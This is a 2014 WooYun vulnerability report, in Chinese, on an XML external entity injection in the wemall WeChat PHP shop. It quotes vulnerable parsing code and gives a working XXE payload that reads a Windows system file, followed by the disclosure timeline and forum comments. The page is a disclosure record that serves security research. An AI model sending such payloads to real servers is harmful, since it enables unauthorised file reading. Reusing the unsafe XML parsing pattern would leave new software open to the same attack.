当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(20) 关注此漏洞

缺陷编号： WooYun-2014-69949

漏洞标题： wemall微信开源PHP商城系统xml实体注入

相关厂商： wemall微信开源PHP商城系统

漏洞作者： roker

提交时间： 2014-07-30 09:35

公开时间： 2014-10-26 09:36

漏洞类型： 敏感信息泄露

危害等级： 中

自评Rank： 10

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-30： 细节已通知厂商并且等待厂商处理中
2014-08-02： 厂商已经确认，细节仅向厂商公开
2014-08-05： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-26： 细节向核心白帽子及相关领域专家公开
2014-10-06： 细节向普通白帽子公开
2014-10-16： 细节向实习白帽子公开
2014-10-26： 细节向公众公开

简要描述：

WeMall提供最好用、最方便的微信接口,微信会员卡、优惠券、大转盘、团购、一战到底、微网站、微相册、在线预订,一应俱全。让你运营微信得心应手!。。。

详细说明：

weixin.php

code 区域
if (! isset ( $_GET ['echostr'] )) {


	$wechatObj->responseMsg ();


} else {


	$wechatObj->valid();


}








    public function responseMsg()


    {


		//get post data, May be due to the different environments


		$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];





      	//extract post data


		if (!empty($postStr)){ 


		


              	$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);


                $fromUsername = $postObj->FromUserName;


                $toUsername = $postObj->ToUserName;


                $keyword = trim($postObj->Content);


                $time = time();


                $event = $postObj->Event;


                $textTpl = "<xml>


							<ToUserName><![CDATA[%s]]></ToUserName>


							<FromUserName><![CDATA[%s]]></FromUserName>


							<CreateTime>%s</CreateTime>


							<MsgType><![CDATA[%s]]></MsgType>


							<Content><![CDATA[%s]]></Content>


							<FuncFlag>0</FuncFlag>


							</xml>";


                  


                $newsTpl = "<xml>


							<ToUserName><![CDATA[%s]]></ToUserName>


							<FromUserName><![CDATA[%s]]></FromUserName>


							<CreateTime>%s</CreateTime>


							<MsgType><![CDATA[%s]]></MsgType>


							<ArticleCount>1</ArticleCount>


							<Articles>


							<item>


							<Title><![CDATA[%s]]></Title>


							<Description><![CDATA[%s]]></Description>


							<PicUrl><![CDATA[%s]]></PicUrl>


							<Url><![CDATA[%s]]></Url>


							</item>


							</Articles>


							</xml>";


				if(!empty( $keyword ))


                {


				


          			$msgType = "news";


                	$Url =  $this->appurl.$fromUsername;


                	$resultStr = sprintf($newsTpl, $fromUsername, $toUsername, $time, $msgType, $this->title,  $this->description, $this->picurl, $Url);


                	echo $resultStr;


                }else{


                	


     。。。。。。。。。。。。。。。



当 get echostr为空时 执行responseMsg函数。

$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];

接收数据后 $keyword = trim($postObj->Content);

keyword不为空 则 $resultStr = sprintf($newsTpl, $fromUsername, $toUsername, $time, $msgType, $this->title, $this->description, $this->picurl, $Url);

echo $resultStr;



我们 post 提交

code 区域
<?xml version="1.0" encoding="utf-8"?>


<!DOCTYPE copyright [


<!ENTITY test SYSTEM "file:///c:/windows/system.ini">


]>


<xml>


<ToUserName>&test;</ToUserName>


<FromUserName>111</FromUserName>


<CreateTime>1402550611</CreateTime>


<MsgType>123</MsgType>


<FuncFlag>0</FuncFlag>


<Content>123</Content>


</xml>



成功读取文件

1.jpg

漏洞证明：

1.jpg

修复方案：

版权声明：转载请注明来源 roker@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-08-02 09:21

厂商回复：

最新状态：

2014-08-04：补充处置情况：CNVD确认所述风险，但未能建立与软件开发者的直接处置联系渠道，待认领。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-28 09:44 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    1

    叼。

    1# 回复此人
  2. 2014-07-28 09:47 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    洞主你为何这么牛B，每次都是大厂商

    2# 回复此人
  3. 2014-07-28 10:47 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    wemall是大厂商！速度上！！

    3# 回复此人
  4. 2014-07-28 10:52 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @phith0n 马上到家 请留给我

    4# 回复此人
  5. 2014-07-28 10:55 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    @′ 雨。 开个玩笑，白天我都没时间挖洞，你上吧

    5# 回复此人
  6. 2014-07-28 10:58 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @phith0n 哈哈 我也是， 还没放假 快放了

    6# 回复此人
  7. 2014-07-28 12:53 | Authuir ( 路人 | Rank:2 漏洞数:1 | 爱生活，爱安全。)
    0

    洞主为何这么叼

    7# 回复此人
  8. 2014-07-28 13:02 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @phith0n @贫道来自河北 为何要嘲讽我。。大厂商你妹。。

    8# 回复此人
  9. 2014-07-28 13:11 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    1

    @roker 洞主是不是和审核员有一腿，为啥你发的是大厂商，我发就小厂商

    9# 回复此人
  10. 2014-07-28 13:12 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @贫道来自河北 潜规则

    10# 回复此人
  11. 2014-07-28 13:16 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    @′ 雨。 潜潜更健康

    11# 回复此人
  12. 2014-07-28 13:17 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @′ 雨。 雨柔么么哒

    12# 回复此人
  13. 2014-07-28 13:43 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    @roker 没嘲讽啊。。。我也不知道wemall是不是大厂商

    13# 回复此人
  14. 2014-08-02 09:23 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @phith0n 漏洞有质量 并不完全是根据厂商来的

    14# 回复此人
  15. 2014-08-02 19:38 | 小震 ( 路人 | Rank:8 漏洞数:3 | ~)
    0

    三个人的工作室。。主站用的百度云。域名是百度云二级域名。。 还是挺大规模的。

    15# 回复此人
  16. 2014-08-02 21:45 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @小震 咳咳。。。牙买碟

    16# 回复此人

登录后才能发表评论，请先 登录 。